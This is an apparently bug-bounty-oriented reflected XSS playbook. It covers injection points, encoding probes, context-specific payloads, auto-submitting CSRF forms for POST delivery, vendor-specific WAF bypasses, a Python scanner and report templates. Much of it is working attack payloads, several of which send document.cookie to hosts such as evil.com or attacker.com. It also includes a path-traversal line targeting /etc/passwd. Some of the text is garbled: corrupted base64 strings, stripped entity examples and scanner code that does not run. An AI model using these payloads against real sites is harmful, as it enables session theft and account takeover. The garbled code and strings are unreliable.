

✂ Reflected XSS & Encoding Mastery

Payload Selection, Encoding Detection & Execution Verification

Reflected XSS

Encoding

POST XSS

Automation

May 2026

Table of Contents

1. What is Reflected XSS
2. Where to Test — Injection Points
3. Encoding Detection Methodology
4. Payloads by Context & Encoding
5. POST-Based Reflected XSS
6. Execution Detection Techniques
7. Automation Script
8. Advanced Encoding Bypasses
9. WAF Evasion for XSS
10. Report Templates
11. Tools & One-Liners
12. Quick Decision Tree

✂ 1. What is Reflected XSS

Reflected XSS occurs when user input is included in an HTTP response without proper sanitization. The malicious payload is "reflected" off the server and executed in the victim's browser.

🔑 Key Characteristics

- Payload delivered in a single request/response cycle (no storage)
- Requires social engineering to deliver the malicious URL
- Often found in search boxes, error messages, filters, sorting
- Frequently missed if testing only with basic alert(1)

🔄 Reflected XSS Flow

```
Attacker crafts URL → Victim clicks link → Browser sends request  
→ Server reflects input in response (unsanitized)  
→ Browser parses response → Payload executes → Attacker wins
```

🔑 Common Reflection Points

Location	Example URL	Risk Level
Query parameter → HTML body	/search?q=<payload>	High
Query parameter → HTML attribute	/page?redir=<payload>	High
Path segment → page content	/user/<payload>/profile	High
Fragment → DOM insertion	/page#<payload>	Medium
Cookie → response	Set-Cookie reflected	High
Referer → error page	404 page shows Referer	Medium
User-Agent → admin panel	UA logged in dashboard	High
X-Forwarded-For → page	IP displayed on page	Medium

💡 **Testing Mindset:** If your input appears ANYWHERE in the response, test it for XSS. Even in a <meta> tag, <script> block, JSON response, or HTML comment.

🎯 2. Where to Test — Injection Points

🔑 GET Parameters (Most Common)

Parameter Type	Examples	What to Try
Search / Query	q, query, search, keyword, s	">
Redirect / Return	return, redir, next, url, goto	javascript:alert(1)
Filter / Sort	sort, order, filter, column, by	" onmouseover=alert(1) "
ID / Name	id, user, name, category, tag	<svg onload=alert(1)>
Language / Region	lang, locale, country, language	<script>alert(1)</script>
Page / View	page, view, template, layout	<iframe src=javascript:alert(1)>
Callback / JSONP	callback, jsonp, cb, function	alert(1);//
Error / Message	msg, error, info, message, note	

🔑 HTTP Headers (Often Overlooked)

Header	Typical Reflection	Payload Approach
User-Agent	Admin dashboards, analytics	
Referer	404 pages, access denied	http://evil.com/<script>alert(1)</script>
X-Forwarded-For	IP display, rate limit pages	1.1.1.1<script>alert(1)</script>
X-Forwarded-Host	Password reset links	evil.com<script>alert(1)</script>
Cookie values	Debug pages, preferences	session=<script>alert(1)</script>
Origin	CORS response, analytics	http://

🔑 URL Path & Fragment

```
# Path-based reflection (REST API style)
https://target.com/api/users/<PAYLOAD>/profile
https://target.com/blog/category/<PAYLOAD>/posts

# Fragment-based (client-side rendered)
https://target.com/app#<PAYLOAD>
https://target.com/page#search=<PAYLOAD>
```

```
# Matrix parameters
https://target.com/users;name=<PAYLOAD>;role=admin
```

🔑 Less Common but High Impact

- **File uploads:** Filename reflected in upload confirmation
- **OAuth state parameter:** state value reflected after redirect
- **SAML responses:** RelayState reflected in SAML callback
- **OpenID connect nonce:** nonce parameter reflected
- **WebSocket messages:** Echo servers reflecting input
- **GraphQL errors:** Query arguments reflected in error messages

✅ **Pro Tip:** Use Burp Param Miner to discover hidden parameters. Check Target tab → Site Map for all parameters ever seen.

3. Encoding Detection Methodology

Before firing payloads, determine HOW the application processes your input. Detection probes reveal the encoding/filtering pipeline.

Step 1: Basic Probe (Determine Context)

Send a unique probe string and observe how it appears in the response:

```
PROBE: <XSS-TEST>"'>&
```

```
# Check response source for:
# 1. Is it reflected at all? (ctrl+F for "XSS-TEST")
# 2. Is it in HTML body, attribute, script, comment, or nowhere?
# 3. Are any characters encoded, removed, or left untouched?
# 4. Is the reflection context different from injection context?
```

Step 2: Character Filter Detection

Test Input	If Stripped/Blocked	Encoding Strategy
<	HTML tag blocked	Use , <svg>, <iframe> via entities or no-tag vectors
>	Tag close blocked	Use self-closing tags: ,
&	Entity start blocked	Try Unicode, \u escapes, atob()
"	Double quote blocked	Use ', backtick `, or no-quotes
'	Single quote blocked	Use ", backtick `, or no-quotes
()	Parentheses blocked	Use backticks: alert`1`, or throw 1
alert	alert() blocked	Use prompt(1), confirm(1), eval(atob())
script	<script> blocked	Use , <svg>, <body>, <iframe>
javascript:	Protocol blocked	Use data:text/html, or event handlers
space	Spaces stripped	Use tab %09, newline %0a, /**/ comments

Step 3: Encoding Layer Detection

```
# Test 1: Does the app URL-decode?
Input:  %3C  Response: <    ✓ URL-decodes
Input:  %3C  Response: %3C  ✗ No URL-decode

# Test 2: Does the app HTML-entity-decode?
Input:  &lt;  Response: <    ✓ Entity-decodes
```

Input: < Response: < X No entity-decode

Test 3: Does the app double-decode?

Input: %253C Response: %3C (1 layer) or < (2 layers)

Test 4: Does the app Unicode-normalize?

Input: %C0%BC (%3C overlong) Response: < ✓ UTF-8 canonicalization

Test 5: Does the app decode Base64?

Input: data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTWvc2NyaXB0Pg==

Response executes? ✓ Base64-decodes

🔑 Step 4: Context Identification

Response Pattern	Context	Recommended Payload
YOUR_INPUT	HTML Body	
<input value="YOUR_INPUT">	Double-quoted attribute	">img src=x onerror=alert(1)>
<input value='YOUR_INPUT'>	Single-quoted attribute	'>img src=x onerror=alert(1)>
<tag attr=YOUR_INPUT>	Unquoted attribute	>img src=x onerror=alert(1)>
var x = "YOUR_INPUT";	JS double-quoted string	";alert(1);//
var x = 'YOUR_INPUT';	JS single-quoted string	';alert(1);//
var x = `YOUR_INPUT`;	JS template literal	\${alert(1)}
var x = YOUR_INPUT;	JS expression context	alert(1)
<style>.c{YOUR_INPUT}</style>	CSS context	}</style>
<!-- YOUR_INPUT -->	HTML comment	--><!--
{"msg": "YOUR_INPUT"}	JSON response	"}</script><script>alert(1)</script>

◆ **Golden Rule:** If you see YOUR_INPUT reflected anywhere — even inside <noscript>, <title>, or <textarea> — there's likely a breakout vector. Test every context.

4. Payloads by Context & Encoding

Select payloads based on the context detected in Section 3. Each context requires different encoding to achieve execution.

Context A: HTML Body (No Filtering)

```
# Basic (always try first)
<script>alert(document.domain)</script>

# Img tag (most reliable)
<img src=x onerror=alert(document.domain)>

# SVG tag
<svg onload=alert(document.domain)>

# Body tag
<body onload=alert(document.domain)>

# Iframe + JavaScript protocol
<iframe src=javascript:alert(document.domain)>

# Input autofocus
<input autofocus onfocus=alert(document.domain)>

# Details + autofocus
<details open ontoggle=alert(document.domain)>

# Audio tag
<audio src=x onerror=alert(document.domain)>

# Video tag
<video src=x onerror=alert(document.domain)>

# Base tag (changes base URL)
<base href=//evil.com/>
```

Context B: HTML Body (Basic Filtering: < > encoded)

```
# If & works: try HTML entities
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

# If < removed: use tag-less vectors
" onmouseover=alert(1) "
' onmouseover=alert(1) '
` onmouseover=alert(1) `

# If in a link href
javascript:alert(1)
```



```
data:text/html,<script>alert(1)</script>

# If in an iframe src
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTWvc2NyaXB0Pg==

# If in object/embed data
data:text/html,<script>alert(1)</script>
```

🔑 Context C: HTML Attribute (Double Quoted)

```
# Break out of attribute, inject new tag
"><img src=x onerror=alert(1)>
"><svg onload=alert(1)>
"><script>alert(1)</script>

# Stay inside attribute, use event handler
" onmouseover=alert(1) "
" onfocus=alert(1) autofocus="
" onerror=alert(1) src=x "

# Use backtick if parser allows (old IE)
`><img src=x onerror=alert(1)>
```

🔑 Context D: HTML Attribute (Single Quoted)

```
'><img src=x onerror=alert(1)>
'><svg onload=alert(1)>
' onmouseover=alert(1) '
' onfocus=alert(1) autofocus='

# Backtick breakout (IE/Edge legacy)
`><img src=x onerror=alert(1)>
```

🔑 Context E: HTML Attribute (Unquoted)

```
><img src=x onerror=alert(1)>
><svg onload=alert(1)>

onmouseover=alert(1)
onfocus=alert(1) autofocus
```

🔑 Context F: JavaScript String (Double Quoted)

```
";alert(1);//
"-alert(1)-"
"+alert(1)+";

# If parentheses blocked:
";alert`1`;//
";window['alert'](1);//
```

```

";window['al'+'ert'](1);//

# Template literal injection
`${alert(1)}`
`${document.location='//evil.com/?c='+document.cookie}`

# If alert blocked, use alternatives
";prompt(1);//
";confirm(1);//
";eval(atob("YWxlcuQoMSk="));//
";Function("alert(1)")();//
";setTimeout("alert(1)");//

```

🔑 Context G: JavaScript String (Single Quoted)

```

';alert(1);//
'-alert(1)-'
'+alert(1)+'

';alert`1`;//
';window["alert"](1);//
';eval(atob('YWxlcuQoMSk='));//

# Template literal injection
`${alert(1)}`
`${fetch('//evil.com/?c=${document.cookie}`)}

```

🔑 Context H: JavaScript Expression (No Quotes)

```

alert(1)
alert(document.cookie)
fetch("//your.burpcollaborator.net/?c="+document.cookie)
document.location="//evil.com/?c="+document.cookie

# If parentheses blocked
alert`1`
window['alert']`1`
Function`alert(1)```
throw 1
throw document.cookie

# If alert blocked by name
window['al'+'ert'](1)
window[atob('YWxlcuQ=')](1)
self['ale'+'rt'](1)
top['aler'+'t'](1)
parent['alert'](1)
frames['alert'](1)

```

🔑 Context I: URL / Href / Src Attribute

```
javascript:alert(1)
javascript:alert(document.cookie)
javascript:fetch("//evil.com/?c="+document.cookie)

data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTWvc2NyaXB0Pg==

vbscript:MsgBox(1)    # IE legacy
mhtml:data:text/html,<script>alert(1)</script>    # IE/Edge

# Encoded javascript: bypass
javascript:alert(1)    # HTML entities
javascr ipt:alert(1)    # tab char
```

5. POST-Based Reflected XSS

POST-based reflected XSS occurs when user input is submitted via POST body and reflected in the response. The victim must visit a page that auto-submits a form or makes an XHR request.

Attack Vectors for POST XSS

Vector	Technique	Requirements
CSRF form auto-submit	Auto-submitting form on page load	No CSRF token / predictable token
Flash crossdomain bypass	Legacy Flash .swf request	Lenient crossdomain.xml
XHR / Fetch with CORS	JavaScript sends POST request	CORS allows attacker origin
Upgrade GET to POST	Some frameworks accept POST for GET routes	Framework behavior
JSONP to POST bridge	Using callbacks with POST body	JSONP endpoint accepts POST

CSRF Form Auto-Submit (Most Reliable)

```
<!-- Attacker hosts this page. Victim visits => XSS executes -->
<form action="https://target.com/search" method="POST" id="xss">
  <input type="hidden" name="q"
    value="<img src=x onerror=alert(document.domain)>" />
</form>
<script>document.getElementById("xss").submit();</script>

<!-- For JSON endpoint via form encoding -->
<form action="https://target.com/api/search" method="POST" id="xss2">
  <input type="hidden" name="query"
    value="<img src=x onerror=alert(1)>" />
</form>
<script>document.getElementById("xss2").submit();</script>

<!-- If the endpoint expects JSON but accepts form data -->
<form action="https://target.com/api/graphql" method="POST" id="g">
  <input type="hidden" name="query"
    value="{user(name:<img src=x onerror=alert(1)>){id}}" />
</form>
<script>document.getElementById("g").submit();</script>
```

XHR/Fetch POST (CORS Required)

```

<!-- If target has Access-Control-Allow-Origin: * or attacker origin -->
<script>
fetch("https://target.com/api/search", {
  method: "POST",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "q=><img%20src=x%20onerror=alert(document.domain)>&submit=1"
});
</script>

<!-- JSON POST with XSS payload -->
<script>
fetch("https://target.com/api/search", {
  method: "POST",
  headers: {"Content-Type": "application/json"},
  body: JSON.stringify({"q": "><img src=x onerror=alert(1)>"})
});
</script>

<!-- multipart/form-data -->
<script>
const fd = new FormData();
fd.append("q", "><img src=x onerror=alert(1)>");
fetch("https://target.com/upload", {method:"POST", body:fd});
</script>

```

🔑 GET-to-POST Upgrade Trick

```

# Some frameworks accept POST data where GET is expected
# Try sending POST to the same endpoint that accepts GET parameters

GET  /search?q=test      # Normal
POST /search?q=test      # Framework might read q from POST body instead
POST /search             # Body: q=test

# Spring Framework, PHP, Ruby on Rails, ASP.NET often do this
# This effectively turns POST XSS into GET XSS (easier to deliver)

# If GET parameter is reflected, try POST body with same name:
curl -X POST https://target.com/search -d "q=><img src=x onerror=alert(1)>"

# If the response reflects the POST body parameter, deliver via:
# 1. Form auto-submit (CSRF)
# 2. XHR if CORS allows
# 3. Sometimes simply visiting the URL with query params works too

```

🔑 Common POST Parameters to Test

Scenario	Parameters	Typical Endpoint
Login forms	username, email, user	/login, /auth, /signin

Contact forms	name, email, subject, message	/contact, /feedback, /support
Search (POST)	q, query, term, keyword	/search, /api/search
Profile update	name, bio, display_name	/profile, /settings
Comments / Reviews	comment, body, text, review	/comment, /review
Checkout forms	address, city, name, phone	/checkout, /payment
Password reset	email, token	/forgot-password
Newsletter	email, name	/subscribe, /newsletter
File upload	filename (meta)	/upload, /api/upload
API endpoints	Any JSON field	/api/*, /graphql

💡 **Key Insight:** Many bug hunters only test GET parameters for reflected XSS. POST parameters on error pages, search results, and preview pages are frequently overlooked and vulnerable.

6. Execution Detection Techniques

How to confirm XSS actually executed, not just reflected. Blind detection methods for when popups are blocked or testing headless.

Method 1: Burp Collaborator / DNS Callback

```
# Replace alert(1) with DNS callback for blind confirmation
<img src=x onerror=fetch("//YOUR_BURP_COLLAB.net/?c="+document.cookie)>
<img src=x onerror=navigator.sendBeacon("//YOUR_BURP_COLLAB.net/",document.cookie)>

# For very restrictive CSP
<img src=x onerror=document.location="http://YOUR_BURP_COLLAB.net/?c="+document.cookie>


# WebRTC IP leak + callback (bypasses some VPNs)
<script>
var pc=new RTCPeerConnection({iceServers:[]});
pc.createDataChannel("");pc.createOffer().then(o⇒pc.setLocalDescription(o));
pc.onicecandidate=e⇒{
  if(e&&e.candidate&&e.candidate.candidate)
    fetch("//YOUR_COLLAB.net/?ip="+btoa(e.candidate.candidate))
}</script>
```

Method 2: Local Callback Server

```
# Python callback server
python3 -m http.server 8080

# Payload pointing to your server
<img src=x onerror=fetch("http://YOUR_IP:8080/?c="+document.cookie)>

# Netcat listener
nc -lvnp 8080

# HTTPS callback with self-signed cert
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
python3 -c "import http.server,ssl;
s=http.server.HTTPServer(('',443),http.server.SimpleHTTPRequestHandler);
s.socket=ssl.wrap_socket(s.socket,keyfile='key.pem',certfile='cert.pem');
s.serve_forever()"
```

Method 3: DOM Manipulation Detection

```
# Change page title (visible in screenshot)
<img src=x onerror=document.title="XSS_CONFIRMED_"+document.domain>

# Change favicon (visible in tab)
```

```
<img src=x onerror=document.querySelector("link[rel=icon]").href="https://evil.com/xss.png">

# Add visible element to page
<img src=x onerror=document.body.innerHTML+="[XSS-CONFIRMED]">

# Change background color
<img src=x onerror=document.body.style.background="red">

# Redirect to proof page
<img src=x onerror=document.location="https://attacker.com/xss-proof?d="+document.domain>
```

🔑 Method 4: Time-Based Blind XSS

```
# Popup = immediate confirmation
<script>alert(1)</script>
<img src=x onerror=alert(1)>

# Time delay (no popup needed)
<script>setTimeout(function(){},5000)</script>
<img src=x onerror=new Promise(r=>setTimeout(r,5000))>

# WAF blocks "alert" ? use setTimeout directly:
<script>new Function("setTimeout(function(){},3000)")()</script>

# Freeze tab (Chrome only, proves JS ran)
<script>while(true){}</script>
```

🔑 Method 5: Screenshot / Headless Confirmation

```
# Using aquatone or gowitness for headless confirmation
echo "http://target.com/?q=PAYLOAD" | aquatone

# Python + Playwright automated XSS detection
python3 -c "import asyncio
from playwright.async_api import async_playwright
async def main():
    async with async_playwright() as p:
        browser=await p.chromium.launch()
        page=await browser.new_page()
        await page.goto("http://target.com/?q=PAYLOAD")
        title=await page.title()
        print("XSS!" if "XSS" in title else "NO")
        await browser.close()
asyncio.run(main())"
```

✅ **Best Practice:** Always use DNS callback (Collaborator) + visible DOM change + screenshot. Three confirmation methods eliminate false positives and make reports bulletproof.



7. Automation Script

Complete Python script for automated reflected XSS detection with encoding-aware payload selection.



xss_scanner.py

```
#!/usr/bin/env python3
# Reflected XSS Scanner with Encoding Detection
import argparse, urllib.parse, requests, re
from concurrent.futures import ThreadPoolExecutor

PAYLOADS = {
    "html_body": [
        "<script>alert(document.domain)</script>",
        "<img src=x onerror=alert(document.domain)>",
        "<svg onload=alert(document.domain)>",
        "<body onload=alert(document.domain)>",
        "<input autofocus onfocus=alert(document.domain)>",
        "<details open ontoggle=alert(document.domain)>",
    ],
    "attr_double": [
        "'<img src=x onerror=alert(1)>'",
        '" onmouseover=alert(1) "',
        '" onfocus=alert(1) autofocus="',
    ],
    "attr_single": [
        "'><img src=x onerror=alert(1)>'",
        "' onmouseover=alert(1) '",
    ],
    "js_double": [
        "';alert(1);//'",
        "'-alert(1)-'",
        "${alert(1)}",
    ],
    "js_single": [
        "';alert(1);//",
        \"'-alert(1)-'\",
        "${alert(1)}",
    ],
    "url_href": [
        "javascript:alert(1)",
        "data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwwc2NyaXB0Pg==",
    ],
    "encoded": [
        "<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>",
        "%3Cimg%20src=x%20onerror=alert(1)%3E",
    ],
}
```

```

def detect_context(url, param, method="GET", data=None, headers=None):
    probe = '<CTX-PROBE>'
    if method == "GET":
        test_url = f"{url}?{param}={urllib.parse.quote(probe)}"
        resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
    else:
        post_data = data.copy() if data else {}
        post_data[param] = probe
        resp = requests.post(url, data=post_data, headers=headers, timeout=10, verify=False)
    html = resp.text; contexts = []
    if "<CTX-PROBE>" in html: contexts.append("html_body")
    if 'value="<CTX' in html: contexts.append("attr_double")
    if 'value='<CTX' in html: contexts.append("attr_single")
    if "href=" in html or "src=" in html: contexts.append("url_href")
    return contexts if contexts else ["html_body"]

def test_payload(url, param, payload, method="GET", data=None, headers=None):
    try:
        if method == "GET":
            test_url = f"{url}?{param}={urllib.parse.quote(payload)}"
            resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
        else:
            post_data = data.copy() if data else {}
            post_data[param] = payload
            resp = requests.post(url, data=post_data, headers=headers, timeout=10, verify=False)
        if payload in resp.text: return (payload, "RAW_REFLECTED", resp.status_code)
        enc = payload.replace("<", "&lt;").replace(">", "&gt;")
        if enc in resp.text: return (payload, "ENCODED_REFLECTED", resp.status_code)
        return (payload, "NOT_REFLECTED", resp.status_code)
    except Exception as e: return (payload, f"ERROR: {e}", 0)

def scan(url, param, method="GET", data=None, headers=None):
    print(f"[+] Scanning {url} | param={param} method={method}")
    contexts = detect_context(url, param, method, data, headers)
    print(f"[+] Contexts detected: {contexts}")
    payloads = []
    for ctx in contexts: payloads.extend(PAYLOADS.get(ctx, []))
    payloads.extend(PAYLOADS["encoded"])
    print(f"[+] Testing {len(payloads)} payloads...")
    results = []
    with ThreadPoolExecutor(max_workers=10) as ex:
        futures = {ex.submit(test_payload, url, param, p, method, data, headers): p for p in payloads}
        for f in futures:
            r = f.result(); results.append(r)
            if "RAW" in r[1]: print(f"    [!] RAW: {r[0][:60]}")
    raw = [r for r in results if "RAW" in r[1]]
    print(f"[+] SUMMARY: {len(raw)} raw reflections out of {len(payloads)} tested")
    return results

if __name__ == "__main__":
    import urllib3; urllib3.disable_warnings()
    p = argparse.ArgumentParser()
    p.add_argument("-u", "--url", required=True)

```

```

p.add_argument("-m", "--method", default="GET", choices=["GET","POST"])
p.add_argument("-d", "--data", help="POST data k=v,k2=v2")
p.add_argument("-H", "--header", action="append")
args = p.parse_args()
headers = {"User-Agent": "Mozilla/5.0 XSS-Scanner"}
if args.header:
    for h in args.header: k,v = h.split(":",1); headers[k.strip()]=v.strip()
post_data = {}
if args.data:
    for item in args.data.split(","): k,v = item.split("="); post_data[k]=v
scan(args.url, args.param, args.method, post_data or None, headers)

```

🔑 Usage Examples

```

# Basic GET parameter scan
python3 xss_scanner.py -u "https://target.com/search" -p q

# POST parameter scan
python3 xss_scanner.py -u "https://target.com/api/search" -p query -m POST

# With auth cookie
python3 xss_scanner.py -u "https://target.com/profile" -p name -H "Cookie: session=abc123"

# Bash one-liner: quick reflected XSS check
for param in q search query term; do
    resp=$(curl -s "https://target.com/search?$param=");
    if echo "$resp" | grep -q "📄"; then
        echo "[!] XSS: param=$param"; fi; done

# FFUF + XSS probe
ffuf -u "https://target.com/page?FUZZ=" -w params.txt

```

8. Advanced Encoding Bypasses

When basic payloads fail, these advanced encoding techniques bypass sophisticated filters and WAFs.

Technique 1: HTML Entity + Decimal/Hex Mix

```
# Pure decimal entities (no < or > needed in source)
<img src=x onerror=alert(1)>

# Hex entities
<img src=x onerror=alert(1)>

# Mixed: some chars entity, some normal
<img src=x onerror=alert(1)>

# Entities inside javascript: URLs
<a href="javascript:alert(1)">Click</a>
<a href="javascript:alert(1)">Click</a>

# Without semicolons (some parsers accept)
<img src=x onerror=alert(1)>
```

Technique 2: JavaScript Unicode Escapes

```
# \x hex escapes (2 digits)
<script>eval('\x61\x6c\x65\x72\x74\x28\x31\x29')</script>

# \u Unicode escapes (4 digits)
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>

# \u{} ES6 Unicode escapes
<script>\u{61}\u{6c}\u{65}\u{72}\u{74}(1)</script>

# Octal escapes
<script>\141\154\145\162\164(1)</script>

# fromCharCode (numeric only, no letters)
<script>String.fromCharCode(97,108,101,114,116,40,49,41)</script>

# atob + eval (Base64, no suspicious keywords visible)
<script>eval(atob('YWxlcuQoMSk='))</script>

# Location href with escaped protocol
<script>location='\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)'\</script>
```

Technique 3: Double & Triple Encoding

```
# Double URL encoding (bypasses single-decode WAFs)
?q=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E

# Triple URL encoding (rare but possible)
?q=%25253Cimg%252520src%25253Dx%252520onerror%25253Dalert(1)%25253E

# HTML entity + URL encoding combined
?q=%26%2334%3B%2520onmouseover%253Dalert(1)%2520%26%2334%3B

# Base64 + URL encoding
?q=JTI1M0NzY3JpcHQ1MjUzRWFsZXJ0JTI1Mjg1JTI1Mjk%3D

# JSON \u escape + URL encoding
?q=%5Cu003cimg%20src%3Dx%20onerror%3Dalert(1)%5Cu003e
```

🔑 Technique 4: UTF-8 Overlong / Unicode Tricks

```
# Overlong UTF-8 encoding of < (0x3C)
%C0%BC = 2-byte overlong of 0x3C
%E0%80%BC = 3-byte overlong of 0x3C
%F0%80%80%BC = 4-byte overlong of 0x3C

# IIS / ASP path traversal via overlong
?file=..%C0%AF..%C0%AF..%C0%AFetc%C0%AFpasswd

# Unicode homoglyphs (Cyrillic vs Latin)
# U+0430 Cyrillic a looks like U+0061 Latin a
<a href="javascript:alert(1)">Click</a>

# Unicode normalization bypass (NFC vs NFD)
# U+00E9 (é) decomposes to U+0065 U+0301
# Filters checking U+00E9 may miss decomposed form
```

🔑 Technique 5: Template Literal & Backtick Execution

```
# Template literal execution (no parentheses)
<script>alert`1`</script>
<script>alert`XSS_CONFIRMED`</script>
<script>fetch`//collab.net/?c=${document.cookie}```</script>

# Function constructor via template literal
<script>Function`alert(1)``</script>
<script>setTimeout`alert(1)``</script>
<script>setInterval`alert(1)``</script>

# If alert is blocked, use constructor indirectly
<script>>window[atob('YWxlcuQ=')]`1`</script>
```

🔑 Technique 6: Protocol Smuggling

```
# data: URI (bypasses javascript: block)
<iframe src="data:text/html,<script>alert(1)</script>">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwwc2NyaXB0Pg==">

# vbscript: (Internet Explorer)
<a href="vbscript:MsgBox(1)">Click</a>

# mhtml: (IE/Edge legacy)
<a href="mhtml:data:text/html,<script>alert(1)</script>">Click</a>

# view-source: + javascript:
<a href="view-source:javascript:alert(1)">Click</a>

# jar: protocol (Firefox legacy)
<a href="jar:http://evil.com/xss.jar!/xss.html">Click</a>

# about: + cache manipulation
<iframe src="about:blank" onload="contentWindow.document.write('<script>alert(1)</script>')">
```

 **Advanced Tip:** When all encoding fails, try DOM-based vectors. If the app uses innerHTML, document.write(), or eval() on user input client-side, server-side encoding may not matter.

♥ 9. WAF Evasion for XSS

Web Application Firewalls block common XSS patterns. These techniques bypass WAF rules through encoding, fragmentation, and parser confusion.

🔑 WAF Bypass Matrix

WAF Rule	Bypass Technique	Example Payload
Blocks <script>	Use , <svg>, <body> tags	
Blocks alert()	Alternative functions	prompt(1), confirm(1), print()
Blocks () parens	Backtick execution	alert`1`
Blocks event handlers	HTML5 autofocus + onfocus	<input autofocus onfocus=alert(1)>
Blocks javascript:	data:text/html;base64,...	data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwwc2NyaXB0Pg==
Blocks spaces	Tab %09, newline %0a, slash /	<img/src=x/onerror=alert(1)>
Blocks < and >	HTML entities + eval	
Blocks = equals	Space before = (HTML5)	
Blocks onerror, onload	Other event handlers	onpointerenter, ontoggle, onformdata
Double-decode WAF	Triple encoding	%25253Cimg%2520...%25253E
Case-sensitive filter	Mixed case	

Keyword blacklist	String concatenation	window["al"+"ert"](1)
Blocks all tags	Template literal in JS context	\${alert(1)}
JSON body filter	Unicode escapes in JSON	{"name": "\u003cimg src=x..."}

🔑 Filter-Specific Payloads

```
# WAF blocks "onerror" ? Use alternative events
<img src=x onpointerenter=alert(1)>
<img src=x onpointerover=alert(1)>
<img src=x onanimationstart=alert(1)>
<img src=x ontransitionend=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<meter value=0 onmouseover=alert(1)>
<object data=x onerror=alert(1)>
<embed src=x onerror=alert(1)>

# WAF blocks "alert" ? Use alternatives
prompt(1)
confirm(1)
print()           # Chrome only, opens print dialog
console.log(1)    # Not visible but proves execution
document.write(1) # Visible page modification
window.stop()     # Stops page loading (detectable)

# WAF blocks event handlers entirely ? Use meta refresh
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">

# WAF blocks "javascript:" ? Use HTML entities in protocol
<a href="javascript:alert(1)">Click</a>
<a href="javascr      ipt:alert(1)">Click</a>  # tab in protocol
<a href="javascr
ipt:alert(1)">Click</a>  # newline in protocol

# WAF blocks spaces ? Use / as separator (HTML5)
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>
<input/autofocus/onfocus=alert(1)>

# No angle brackets at all ? Break out of existing attributes
" autofocus onfocus=alert(1) //
' autofocus onfocus=alert(1) //
` autofocus onfocus=alert(1) //

# WAF has length limit ? Short payloads
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<script>alert(1)</script>
<img src=x onerror=eval(atob`YWxlcuQoMSk=`)>
```



```

<iframe src=javascript:alert(1)>

# Content-Type bypass (JSON endpoint with HTML response)
POST /api/user HTTP/1.1
Content-Type: application/json

{"bio": "\u003cimg src=x onerror=alert(1)\u003e"}

# HTTP Parameter Pollution (some apps concatenate same-name params)
?q=safe&q=<img src=x onerror=alert(1)>
# WAF checks first q=safe, app uses q=<img...>

```

🔑 WAF-Specific Bypass Signatures

WAF	Known Weakness	Bypass
Cloudflare	Case-insensitive regex on some rules	<sVg OnLoAd=alert(1)>, ` execution
ModSecurity OWASP	Some rules miss encoded entities	
Akamai	Length-limited inspection	Place payload after 8KB of padding data
F5 ASM	Missing \u JSON escapes	{"x": "\u003cscript \u003ealert(1) \u003c/script \u003e"}
AWS WAF	Basic regex patterns	Nested encoding: %253C%2573%2563%2572%2569%2570%2574%253E
Imperva	Protocol confusion	data:text/html,<script>alert(1)</script>

⚠ **Important:** Always verify WAF bypass against the actual target, not just a WAF testing page. Some WAFs have different rules for different endpoints. Test multiple paths and methods.

10. Report Templates

Copy-paste report templates for different reflected XSS scenarios. Adjust severity based on impact.

Template 1: Basic Reflected XSS (GET Parameter)

TITLE: Reflected XSS via [Parameter] Parameter on [Endpoint]

SEVERITY: High

CVSS: 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

DESCRIPTION:

The [Parameter] parameter on [Endpoint] reflects user input in the HTML response without proper sanitization, allowing injection of arbitrary JavaScript code. An attacker can craft a malicious URL that, when visited by a victim, executes JavaScript in their browser.

STEPS TO REPRODUCE:

1. Navigate to: `https://target.com/endpoint?param=TEST`
2. Observe that "TEST" is reflected in the response
3. Submit the following payload:
`https://target.com/endpoint?param=%3Cimg%20src=x%20onerror=alert(document.domain)%3E`
4. Observe that `alert()` executes, confirming XSS

PROOF OF CONCEPT:

[Screenshot showing `alert(document.domain)` popup]

IMPACT:

- Session hijacking via `document.cookie` theft
- Account takeover via malicious password reset requests
- Phishing via page content modification (defacement)
- Keylogging and credential theft from victim input
- CSRF bypass using victim authenticated session

REMEDIATION:

1. Encode all user input before reflection using HTML entity encoding
2. Implement Content-Security-Policy (CSP) header
3. Use `X-XSS-Protection: 1; mode=block` (defense in depth)
4. Consider using DOMPurify or similar sanitization libraries

REFERENCES:

- OWASP XSS Prevention Cheat Sheet
- CWE-79: Improper Neutralization of Input During Web Page Generation
- https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html

Template 2: POST-Based Reflected XSS

TITLE: POST-Based Reflected XSS via [Form Field] on [Endpoint]

SEVERITY: High

CVSS: 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

DESCRIPTION:

The [Form Field] field on [Endpoint] accepts POST data and reflects it in the response without sanitization. Although POST-based, this can be exploited via CSRF form auto-submission.

STEPS TO REPRODUCE:

1. Send POST request to `https://target.com/endpoint` with body: `field=%3Cimg+src%3Dx+onerror%3Daalert(1)%3E`
2. Observe the payload is reflected and executed in the response

ATTACK SCENARIO (Delivery):

An attacker can host the following HTML page to exploit victims:

```
<form action="https://target.com/endpoint" method="POST" id="x">
  <input type="hidden" name="field" value="><img src=x onerror=alert(1)>">
</form>
<script>document.getElementById("x").submit();</script>
```

IMPACT: Same as Template 1

REMEDIATION: Same as Template 1 + implement CSRF tokens

🔑 Template 3: WAF Bypass XSS

TITLE: Reflected XSS with WAF Bypass via [Encoding Type] on [Endpoint]

SEVERITY: High (WAF bypass increases impact)
